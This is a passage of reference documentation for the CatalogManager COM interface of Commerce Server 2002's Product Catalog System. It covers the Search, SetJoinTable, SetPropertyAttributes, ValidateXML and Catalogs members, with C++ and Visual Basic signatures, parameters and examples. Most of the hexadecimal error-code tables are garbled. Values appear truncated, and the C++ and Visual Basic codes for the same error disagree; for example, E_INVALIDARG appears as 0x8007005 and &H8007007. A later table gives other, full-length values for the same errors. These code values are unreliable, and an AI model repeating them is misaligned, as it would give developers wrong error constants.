[in] A BSTR that contains the new name for the property. This parameter cannot begin with a digit, or contain a period (.); it can only contain characters that are acceptable in XML tags.
strNewPropertyName [Visual Basic]
A String that contains the new name for the property. This parameter cannot begin with a digit, or contain a period (.); it can only contain characters that are acceptable in XML tags.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B [Visual Basic] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_PROPERTY_NAME | [C++] 0x889800A [Visual Basic] &H8898002 | The PropertyName you specified is invalid. property Names cannot be blank and cannot exceed 100 characters. property names cannot begin with a digit and cannot contain one of the following five reserved characters .,"[]
E_CAT_PROP_DOESNT_EXIST | [C++] 0x8898000 [Visual Basic] &H8898005 | The property name you specified does not exist.
E_CAT_PROP_EXISTS | [C++] 0x8898000 [Visual Basic] &H8898003 | The property name you specified already exists.
E_CAT_PROP_IS_ID | [C++] 0x8898001 [Visual Basic] &H8898001 | The property is currently being used as either the Product or Product-Variant unique ID column in one or more Catalogs. All Catalogs using this property as its unique ID must be deleted before this property can be deleted.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCatalogManager.RenameProperty "Weight", "Wt."

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object

[C++] ICatalogManager3::RenameDefinition

[Visual Basic] CatalogManager.RenameDefinition


ICatalogManager3::Search [C++]

CatalogManager.Search [Visual Basic]

Use this method to perform searches against product, variant, and category data in one or more catalogs. This method combines the abilities of the Query and FreeTextSearch methods while adding the ability to specify the language of the returned data.

Definition

[C++]
HRESULT ICatalogManager3::Search(
  VARIANT strSQLClause,
  VARIANT strFTSPhrase,
  VARIANT strCatalogsToSearch,
  VARIANT eClassTypeRequired,
  VARIANT strPropertiesToReturn,
  VARIANT strPropertyToSortOn,
  VARIANT_BOOL fSortAscending,
  VARIANT lStartingRecord,
  VARIANT lRecordsToRetrieve,
  VARIANT varLanguage,
  VARIANT* plTotalRecordsInQuery,
  _Recordset** ppRSResult
);
[Visual Basic]
Function Search(
  Optional strSQLClause As Variant,
  Optional strFTSPhrase As Variant,
  Optional strCatalogsToSearch As Variant,
  Optional eClassTypeRequired As Variant,
  Optional strPropertiesToReturn As Variant,
  Optional strPropertyToSortOn As Variant,
  Optional fSortAscending As Boolean,
  Optional lStartingRecord As Variant,
  Optional lRecordsToRetrieve As Variant,
  Optional varLanguage As Variant,
  Optional plTotalRecordsInQuery As Variant
) As _Recordset

Parameters

strSQLClause [C++]
[in, optional] A VARIANT that contains the SQL search query.
strSQLClause [Visual Basic]
A Variant that contains the SQL search query.
strFTSPhrase [C++]
[in, optional] A VARIANT that contains the free-text search phrase.
strFTSPhrase [Visual Basic]
A Variant that contains the free-text search phrase.
strCatalogsToSearch [C++]
[in, optional] A VARIANT that contains the catalogs to search as a comma-separated list. An empty string indicates search all catalogs.
strCatalogsToSearch [Visual Basic]
A Variant that contains the catalogs to search as a comma-separated list. An empty string indicates search all catalogs.
eClassTypeRequired [C++]
[in, optional] A VARIANT that contains the catalog class wanted. Valid values are from the CatalogClassTypeEnum enumeration, and are described in the Remarks section.
eClassTypeRequired [Visual Basic]
A Variant that contains the catalog class wanted. Valid values are from the CatalogClassTypeEnum enumeration, and are described in the Remarks section.
strPropertiesToReturn [C++]
[in, optional] A VARIANT that contains the properties to return as a comma-separated list.
strPropertiesToReturn [Visual Basic]
A Variant that contains the properties to return as a comma-separated list.
strPropertyToSortOn [C++]
[in, optional] A VARIANT that contains the property on which to sort. This must be a property in the returned recordset. To search. by rank, you must pass the FREETEXTSEARCH_RANK key to the strPropertyToSortOn parameter.
strPropertyToSortOn [Visual Basic]

A Variant that contains the property on which to sort. This must be a property in the returned recordset. To search by rank, you must pass the FREETEXTSEARCH_RANK key to the strPropertyToSortOn parameter.

fSortAscending [C++]
[in, defaultvalue (-1)] A VARIANT_BOOL that specifies whether to sort in ascending or descending order. A value of True indicates that the returned recordset will be sorted in ascending order. A value of False indicates that the returned recordset will be sorted in descending order.
fSortAscending [Visual Basic]
A Boolean that specifies whether to sort in ascending or descending order. A value of True indicates that the returned recordset will be sorted in ascending order. A value of False indicates that the returned recordset will be sorted in descending order. The default value is True.
lStartingRecord [C++]
[in, optional] A VARIANT that contains the starting record to retrieve. A value of one (1) indicates the first record.
lStartingRecord [Visual Basic]
A Variant that contains the starting record to retrieve. A value of one (1) indicates the first record.
lRecordsToRetrieve [C++]
[in, optional] A VARIANT that contains the number of records to retrieve, beginning from the starting record. A value of minus one (-1) indicates return all records.
lRecordsToRetrieve [Visual Basic]
A Variant that contains the number of records to retrieve, beginning from the starting record. A value of minus one (-1) indicates return all records.
varLanguage [C++]
[in, optional] A VARIANT that contains the culture name. The culture name follows the RFC 1766 standard in the format "<languagecode2>-<country/regioncode2>" where <languagecode2> is a lowercase two-letter code derived from ISO 639-1 and <country/regioncode2> is an uppercase two-letter code derived from ISO 3166. Some culture names have prefixes that specify the script; for example, "Cy" specifies the Cyrillic script, and "Lt" specifies the Latin script. For more information, see . Table of Language Culture Names, Culture Codes, and ISO Values.
varLanguage [Visual Basic]
A Variant that contains the culture name. The culture name follows the RFC 1766 standard in the format "<languagecode2>-<country/regioncode2>" where <languagecode2> is a lowercase two-letter code derived from ISO 639-1 and <country/regioncode2> is an uppercase two-letter code derived from ISO 3166. Some culture names have prefixes that specify the script; for example, "Cy" specifies the Cyrillic script, and "Lt" specifies the Latin script. For more information, see . Table of Language Culture Names, Culture Codes, and ISO Values.
plTotalRecordsInQuery [C++]
[out, optional] A pointer to a VARIANT used to return the total number of records matching the query.
plTotalRecordsInQuery [Visual Basic]
A Variant used to return the total number of records matching the query.
ppRSResult [C++]
[out, retval] A pointer to a _Recordset object used to return the search results.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Recordset object containing the search results.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B [Visual Basic] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_RS_POINTER | [C++] 0x889800B [Visual Basic] &H8898007 | The recordset pointer that you specified is invalid.
E_INVALIDARG | [C++] 0x8007005 [Visual Basic] &H8007007 | One or more arguments are invalid.
E_CAT_INVALID_RETURN_PROPS | [C++] 0x8898011 [Visual Basic] &H889801D | The properties to return that you specified are invalid. Properties that contain a space should be enclosed in square brackets. Properties should not contain [ or ] and /* or -- in property names.
E_CAT_INVALID_SORT_PROPS | [C++] 0x8898011 [Visual Basic] &H889801E | The Properties to sort that you specified are invalid. Properties that contain a space should be enclosed in square brackets. Properties should not contain [ or ] and /* or -- in property names.
S_FALSE | 1 | The search Failed. The recordset is now set to NULL.
E_CAT_MULTI_CAT_QUERY_NEEDS_PROPS | [C++] 0x8898000 [Visual Basic] &H889800F | When performing a query against multiple catalogs, you should specify the actual properties to return.

Remarks

[C++] The plTotalRecordsInQuery and ppRSResult parameters contain valid data only if the method completes successfully. The error will also be written to the windows event log.

[Visual Basic] The returned Recordset object and the plTotalRecordsInQuery parameter contain valid data only if the method completes successfully. The error will also be written to the windows event log.

The Search method is used to perform arbitrary lexical comparisons on both words and phrases, and product, product-variant, and category data in one or more catalogs. It combines the functionality of the Query method and the FreeTextSearch method. It also adds the varLanguage parameter, which allows you to specify the language of the search. The Category.Search method is a related method specifically for searching within a category.

The strSQLClause and strFTSPhrase parameters are both optional. If you only supply the strSQLClause parameter, this method acts like the Query method. If you only supply the strFTSPhrase parameter, this method acts like the FreeTextSearch method. If you supply both parameters, then only data that satisfies both search conditions will be returned. This allows you to construct sophisticated and very specific searches.

The following table shows the values of the CatalogClassTypeEnum enumeration, their associated names, and describes their use.

Name | Value | Description
cscCategoryClass | 1 | Requests category data.
cscProductVariantClass | 2 | Requests product variant data.
cscProductClass | 4 | Requests product data.
cscProductFamilyClass | 8 | Requests product family data.
cscProductFamilyForVariantsClass | 16 | Requests family for variant data, which means the product family of a product variant is being requested.
CscProductVariantsForFamily | 32 | Requests variants for family data, which means that all of the product variants for a product family are being requested.

The CatalogClassTypeEnum values can be combined in the eClassTypeRequired parameter with logical OR operators, so that specifying cscProductClass OR cscProductVariantClass will return both product and product variant data.

If the varLanguage parameter is omitted the default value will depend on the number of catalogs specified in the strCatalogsToSearch parameter. If a single catalog is specified, the results will be returned in the default language of the catalog. If multiple catalogs are specified, the results will be returned in the default system language of the Web server. If a catalog does not support the selected language only language insensitive properties will be returned for that catalog.

The programming rules regarding the strPropertiesToReturn parameter vary depending if a single catalog name is passed in the strCatalogsToSearch parameter, or if multiple catalog names are passed. When a single catalog name is passed, the strPropertiesToReturn parameter is optional and defaults to all properties. When multiple catalog names are passed, the strPropertiesToReturn parameter is required.

If no value is specified for the strPropertiesToReturn parameter the method returns all fields in the specified catalog, otherwise it returns only the fields specified in the strPropertiesToReturn parameter. When specifying properties to return , and when specifying the strPropertyToSortOn paramenter, enclose the field names in square brackets to avoid unintentional side effects in the SQL query created by this method. For example, use "[Property1], [Property2]" to specify two properties.

While doing a free-text search you can also specify FREETEXTSEARCH_RANK as a property to return and property to sort on. FREETEXTSEARCH_RANK contains a relevance ranking value for each row in the recordset.The FREETEXTSEARCH_RANK specifies the relative closeness of this row to the value passed in strPhrase parameter. You can specify the FREETEXTSEARCH_RANK in the PropertiestoReturn parameter and also rank results by specifying it in the PropertiesToSortOn parameter. In this method, this parameter can be used only if the srtFTSPhrase parameter is specified.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'plTotalRecordsInQuery is an existing Long.
'Examine it after the method returns to see if
'there are more records to get.
' note use of N in next line of code
Set rsQueryResults = myCatalogManager.Search("[Productid]=N'blue suede'", "slightly scuffed", "ShoeCatalog", cscProductClass,"Price, SKU, Size", "SKU", TRUE, 1, 25, "ENU", plTotalRecordsInQuery)

'The strFTSPhrase parameter supports and/or semantics.
'When multiple terms are supplied OR is implied.
Set rsQueryResults = myCatalogManager.Search(,"sneaker loafer")
Set rsQueryResults = myCatalogManager.Search(,"sneakers and loafer")

'AND takes precedence over OR. The following searches for
'(sneaker and hightop) or loafer.
Set rsQueryResults = myCatalogManager.Search(,"sneaker and hightop or loafer")
Set rsQueryResults = myCatalogManager.Search(,"sneakers loafer")

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object

CatalogManager.Query

CatalogManager.FreeTextSearch

Category.Search


ICatalogManager3::SetDefinitionProperties Method [C++]

CatalogManager.SetDefinitionProperties Method [Visual Basic]

Use this method to change the properties of a category or product definition.

Definition

[C++]
HRESULT ICatalogManager3::SetDefinitionProperties(
  BSTR strDefinitionName,
  Recordset* pRSProperties,
);
[Visual Basic]
Sub SetDefinitionProperties(
  strDefinitionName As _String,
  pRSNewState As _Recordset,
)

Parameters

strDefinitionName [C++]
[in] A BSTR that contains the name of the definition.
strDefinitionName [Visual Basic]
A String that contains the name of the definition.
pRSProperties [C++]
[in] A reference to a _Recordset that specifies the new properties.
pRSProperties [Visual Basic]
A _Recordset that specifies the new properties.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B [Visual Basic] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_PARAMETER | [C++] 0x889800B [Visual Basic] &H8898006 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_DEFINITION_LENGTH | [C++] 0x889800E [Visual Basic] &H889800A | The definition name that you specified is invalid. Definition names should be between 1 and 128 characters in length.
E_CAT_DEFINITION_DOESNT_EXIST | [C++] 0x8898000 [Visual Basic] &H889800B | The definition you specified does not exist.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCatalogManager.SetDefinitionProperties "Shirt",pRSProperties

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object

[C++] ICatalogManager3::CreateProperty

[Visual Basic] CatalogManager.CreateProperty


ICatalogManager3::SetJoinTable Method [C++]

CatalogManager.SetJoinTable Method [Visual Basic]

Use this method to join an external table to a table in the Product Catalog System.

For a list of the methods that support the JoinTable feature, see Code to Join an External Table to Product Recordsets.

Definition

[C++]
HRESULT ICatalogManager3::SetJoinTable(
  BSTR strTargetTableName,
  BSTR strSourceJoinKey,
  BSTR strTargetJoinKey,
  CatalogJoinTypeEnum eJoinType
);
[Visual Basic]
Sub SetJoinTable(
  strTargetTableName As String,
  strSourceJoinKey As String,
  strTargetJoinKey As String,
  eJoinType As CatalogJoinTypeEnum
)

Parameters

strTargetTableName [C++]
[in] A BSTR that contains the name of the external table or view with which to join.
strTargetTableName [Visual Basic]
A String that contains the name of the external table or view with which to join.
strSourceJoinKey [C++]
[in] A BSTR that contains the name of the product property to join on.
strSourceJoinKey [Visual Basic]
A String that contains the name of the product property to join on.
strTargetJoinKey [C++]
[in] A BSTR that contains the name of the column in the external table or view to join against.
strTargetJoinKey [Visual Basic]
A String that contains the name of the column in the external table or view to join against.
eJoinType [C++]
[in] A CatalogJoinTypeEnum enumeration that specifies the join type. See the Remarks section for valid values.
eJoinType [Visual Basic]
A CatalogJoinTypeEnum enumeration that specifies the join type. See the Remarks section for valid values.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B [Visual Basic] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_PARAMETER | [C++] 0x889800B [Visual Basic] &H8898006 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_JOIN_TYPE | [C++] 0x889800C [Visual Basic] &H8898008 | The specified join type is either invalid or not supported.
E_CAT_INVALID_TARGET_TABLE | [C++] 0x889800C [Visual Basic] &H8898009 | The target (join) table that was specified could not be found in the database.
E_CAT_INVALID_SOURCE_JOIN_KEY | [C++] 0x889800C [Visual Basic] &H889800A | The specified source join-key is invalid.
E_CAT_INVALID_TARGET_JOIN_KEY | [C++] 0x889800C [Visual Basic] &H889800B | The specified target join-key is invalid.

Remarks

You cannot set multiple join keys for a given source field. For example, you cannot use "ProductCode, VariantCode" as a valid string for the strTargetJoinKey parameter.

After you have called the SetJoinTable method, any method that returns product data will join the normal output of the method with the external table. That is, the join will occur after any sorting or filtering specified in the method call is completed. This means that you cannot sort or filter on columns in the external table. For methods that accept the PropertiesToReturn parameter, you can specify the properties to return from the external table. If none are specified in these methods, all columns will be returned.

Join table information does not persist beyond the life of the CatalogManager object.

The following table shows the values in the CatalogJoinTypeEnum enumeration, their associated names, and describes their use.

Name | Value | Description
CMS_INNER_JOIN | 0 | Returns only rows where the keys are equal.
CMS_OUTER_JOIN_LEFT | 1 | Returns all rows in the Product Catalog System and matching rows in the target table.
CMS_OUTER_JOIN_RIGHT | 2 | Returns matching rows in the Product Catalog System and all rows in the target table.
CMS_OUTER_JOIN_FULL | 3 | Returns all rows in both tables.
CMS_NO_JOIN | -1 | Turns off the join with the external table.

When you use the ProductID, VariantID, or other indexed column in the CatalogProducts table as a join key, it is recommended that you index the join key column in the external joined table for better performance.

If you pass a parameter containing spaces to the SetJoinTable method, that parameter must be enclosed by square brackets([]).

For more information about the methods to which the JoinTable feature applies, see Code to Join an External Table to Product Recordsets.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCatalogManager.SetJoinTable ("InventoryTable", "ProductID", "SKU",
                                                CMS_OUTER_JOIN_LEFT)

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object


ICatalogManager3::SetPropertyAttributes Method [C++]

CatalogManager.SetPropertyAttributes Method [Visual Basic]

Use this method to change the value of attributes of properties.

Definition

[C++]
HRESULT ICatalogManager3::SetPropertyAttributes(
  _Recordset* pRSNewState,
  VARIANT fForceUpdate
);
[Visual Basic]
Sub SetPropertyAttributes(
  pRSNewState As Recordset,
  Optional fForceUpdate As Variant
)

Parameters

pRSNewState [C++]
[in] A reference to a _Recordset object that specifies the new attribute values.
pRSNewState [Visual Basic]
A Recordset object that specifies the new attribute values.
fForceUpdate [C++]
[in, optional] A VARIANT that specifies whether to force an update.
fForceUpdate [Visual Basic]
A Variant that specifies whether to force an update.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B [Visual Basic] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_INVALIDARG | [C++] 0x8007005 [Visual Basic] &H8007007 | One or more arguments are invalid.
E_CAT_INVALID_RECORDSET | [C++] 0x889800A [Visual Basic] &H889800E | The recordset you specified is either invalid or empty.
E_CAT_PROP_DOESNT_EXIST | [C++] 0x8898000 [Visual Basic] &H8898005 | The property name you specified does not exist.
E_CAT_CANNOTCHANGE_DATATYPE | [C++] 0x8898010 [Visual Basic] &H889801E | The datatype of this property cannot be changed.
E_CAT_INVALID_LANG_ATTRIBUTE | [C++] 0x889800F [Visual Basic] &H8898002 | The Languagesensitive attribute of this property cannot be changed because this property is being used in one or more catalogs.
E_CAT_INVALID_ISFREETEXTSEARCHABLE_ATTRIBUTE | [C++] 0x8898003 [Visual Basic] &H889800A | The attribute IsFreeTextSearchable can be set to only String, FilePath, and Enumeration datatypes.
E_CAT_INVALID_COLUMN_LENGTH | [C++] 0x8898004 [Visual Basic] &H8898000 | The length specified for this property does not lie between 1 and 4000.
E_CAT_PROP_DOESNT_EXIST | [C++] 0x8898000 [Visual Basic] &H8898005 | The property name you specified does not exist.
E_CAT_INVALID_PROPERTY_LENGTH | [C++] 0x8898005 [Visual Basic] &H8898007 | The property you specified is being used as a ProductID or VariantID. You cannot decrease the maximum length of this property or change its data type.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Use a Recordset object returned from either the GetPropertyAttributes method or the CreateProperty method as the pRSNewState parameter so that its time stamp can be compared with the time stamp of the existing property for error detection. You can change all attributes for a property except its data type and language-sensitive attribute. The only exception is that you can change a String data type to a Text data type.

You cannot change the LanguageSensitive attribute of a property. However, you can convert non-multilingual properties to multilingual properties by using the Commerce Server 2002 upgrade tool, located in /Program Files/Microsoft Commerce Server 2002/Upgrade/CS2002Upgrade.exe.

Property attribute names, and therefore the strAttrName parameter, are limited to a maximum length of 36 characters, and cannot contain any of the following characters:

  • Comma (,)
  • Double quote (")
  • Left square bracket ([)
  • Right square bracket (])

Attribute values of type String are limited to a length of 4000 characters.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'The following example changes the datatype of MyProperty to Text.
'The existing DataType attribute of MyProperty must equal cscString.

Set Rs = oCatalogManager.GetPropertyAttributes(“MyProperty”)
Rs(“DataType”) = cscText
oCatalogManager.SetPropertyAttributes rs

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object

[C++] ICatalogManager3::CreateProperty

[Visual Basic] CatalogManager.CreateProperty

[C++] ICatalogManager3::GetPropertyAttributes

[Visual Basic] CatalogManager.GetPropertyAttributes


ICatalogManager3::ValidateXML Method [C++]

CatalogManager.ValidateXML [Visual Basic]

Use this method to validate an XML-formatted file without actually importing it into the Product Catalog System.

Definition

[C++]
HRESULT ICatalogManager3::ValidateXML(
  BSTR strXMLFilePath
  _Recordset** ppRsErrors
);
[Visual Basic]
Function ValidateXML(
  strXMLFilePath As String,
) As Recordset

Parameters

strXMLFilePath [C++]
[in] A BSTR that contains the path of the XML file.
strXMLFilePath [Visual Basic]
A String that contains the path of the XML file.
ppRsErrors [C++]
[out retval] The address of a pointer to a _Recordset that contains, on output, the first 100 errors found.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

The following table describes the custom COM errors this method can return.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B [Visual Basic] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_RS_POINTER | [C++] 0x889800B [Visual Basic] &H8898007 | The recordset pointer that you specified is invalid.

Remarks

[C++]

If the XML file is valid this method will return S_OK and the ppRsErrors parameter returned by this method will be NULL. If the file contains errors, the method returns S_FALSE. The ppRsErrors parameter returned by this method contains valid error data only if the method completes successfully with a value of S_FALSE and there are errors to report.

The recordset returned by the ppRsErrors parameter has a single field, Errors, and one row for each error. This method will return a maximum of 100 errors.

[Visual Basic]

If the XML file is valid this method sets the Number property of the global Err object to S_OK, and the ppRsErrors parameter returned by this method will contain Nothing. If the method sets that value to S_FALSE the file contains errors. The returned Recordset contains valid error data only if the method completes successfully with a value of S_FALSE and there are errors to report.

The returned Recordset has a single field, Errors, and one row for each error. This method will return a maximum of 100 errors.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

Set RsErrors = oCatalogManager.ValidateXML ("C:\SampleFile.xml")

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object


ICatalogManager3 Properties [C++]

CatalogManager Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
Catalogs | _Recordset | Returns a recordset containing a record for each catalog contained in the Product Catalog System, including their properties. This property is read-only.
CategoryDefinitions | _Recordset | Returns a recordset containing the names of all of the category definitions that currently exist in the Product Catalog System. This property is read-only.
CustomCatalogs | _Recordset | This property is obsolete.
ProductDefinitions | _Recordset | Returns a recordset containing the names of all the product definitions that currently exist in the Product Catalog System. This property is read-only.
Properties | _Recordset | Returns a recordset containing the name of each property that currently exists in the Product Catalog System. This property is read-only.
[Visual Basic]
Property | Type | Description
Catalogs | _Recordset | Returns a recordset containing a record for each catalog contained in the Product Catalog System, including their properties. This property is read-only.
CategoryDefinitions | _Recordset | Returns a recordset containing the names of all of the category definitions that currently exist in the Product Catalog System. This property is read-only.
CustomCatalogs | _Recordset | This property is obsolete.
ProductDefinitions | _Recordset | Returns a recordset containing the names of all the product definitions that currently exist in the Product Catalog System. This property is read-only.
Properties | _Recordset | Returns a recordset containing the name of each property that currently exists in the Product Catalog System. This property is read-only.


ICatalogManager3::get_Catalogs Property [C++]

CatalogManager.Catalogs Property [Visual Basic]

The Catalogs property is a read-only recordset that describes all the catalogs in the Product Catalog System. The returned recordset includes the properties of each catalog.

Definition

[C++]
HRESULT ICatalogManager3::get_Catalogs(
  BSTR strSearchPhrase,
  VARIANT lStartingRecord,
  VARIANT lNumRecords,
  BSTR strLanguage,
  VARIANT* plTotalRecordsInQuery,
  _Recordset** Catalogs
);
[Visual Basic]
Property Catalogs(
  Optional strSearchPhrase As String,
  Optional lStartingRecord As Variant,
  Optional lNumRecords As Variant,
  Optional strLanguage As String,
  Optional plTotalRecordsInQuery As Variant
) As _Recordset

Parameters

strSearchPhrase [C++]
[in, optional] A BSTR that contains the search phrase.
strSearchPhrase [Visual Basic]
A String that contains the search phrase.
lStartingRecord [C++]
[in, optional] A VARIANT that contains the starting record. A value of one (1) indicates the first record.
lStartingRecord [Visual Basic]
A Variant that contains the starting record. A value of one (1) indicates the first record.
lNumRecords [C++]
[in, optional] A VARIANT that contains the number of records requested.
lNumRecords [Visual Basic]
A Variant that contains the number of records requested.
strLanguage [C++]
[in, optional] A BSTR that contains the culture name. The culture name follows the RFC 1766 standard in the format "<languagecode2>-<country/regioncode2>" where <languagecode2> is a lowercase two-letter code derived from ISO 639-1 and <country/regioncode2> is an uppercase two-letter code derived from ISO 3166. Some culture names have prefixes that specify the script; for example, "Cy" specifies the Cyrillic script, and "Lt" specifies the Latin script. For more information, see . Table of Language Culture Names, Culture Codes, and ISO Values.
strLanguage [Visual Basic]
A String that contains the culture name. The culture name follows the RFC 1766 standard in the format "<languagecode2>-<country/regioncode2>" where <languagecode2> is a lowercase two-letter code derived from ISO 639-1 and <country/regioncode2> is an uppercase two-letter code derived from ISO 3166. Some culture names have prefixes that specify the script; for example, "Cy" specifies the Cyrillic script, and "Lt" specifies the Latin script. For more information, see . Table of Language Culture Names, Culture Codes, and ISO Values.
plTotalRecordsInQuery [C++]
[out, optional] A pointer to a VARIANT used to return the total number of catalogs that match the search phrase.
plTotalRecordsInQuery [Visual Basic]
A Variant used to return the total number of catalogs that match the search phrase.
Catalogs [C++]
[out, retval] A pointer to a _Recordset object used to return the catalogs.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant Value Description
E_CAT_CATMGR_NOT_INITIALIZED

[C++] 0x889800B5

[Visual Basic] &H889800B5

 The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_RS_POINTER

[C++] 0x889800B7

[Visual Basic] &H889800B7

The recordset pointer that you specified is invalid.
E_INVALIDARG

[C++] 0x80070057

[Visual Basic] &H80070057

One or more arguments are invalid.
E_CAT_INVALID_SEARCH_CLAUSE

[C++] 0x8898011C

[Visual Basic] &H8898011C

The search condition that you specified is invalid for one of the following reasons
  1. It contains -- or /* which should not be used outside of property names and property values T
  2. he parenthesis in the search condition do not match in number or alignment

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The Catalogs parameter contains valid data only if the property was accessed successfully.

[Visual Basic] The recordset returned by this property is valid only if it is accessed successfully.

The following table contains the fields in the returned recordset.

Field Name | Data Type | Description
CatalogName | String 128 characters | None
Locale | Integer | None
StartDate | DateTime | None
EndDate | DateTime | None
VariantID | String 128 characters | The name of the property that uniquely identifies a product variant.
ProductID | String 128 characters | The name of the property that uniquely identifies a product.
Currency | String 128 characters | None
WeightMeasure | String 128 characters | None
TimeStamp | timestamp | None
CatalogID | Integer | The number that uniquely identifies a catalog.
CustomCatalog | Bit | Reserved for future use; this is always set to 0.
FreeTextIndexCreated | DateTime | None
ProductTableUpdated | DateTime | None
FullTextCatalog | String 128 characters | The SQL full-text catalog associated with this catalog.
DefaultLanguage | String 10 characters | The default language of the catalog.
ReportingLanguage | String 10 characters | The reporting language for this catalog.
IsVirtualCatalog | Boolean | A flag indicating whether this is a virtual catalog.
VirtualCatalogStatus | SmallInt | 0: Needs to be rebuilt 1: Catalog being rebuilt 2: An error occurred during rebuild 3: In process of rebuilding 4: In process of being materialized 5: Because you made changes to the base catalog during the rebuild, this catalog is now dirty
CatalogFields | Integer | 0: The Virtual Catalog is built as a view 1: The Virtual Catalog is materialized.

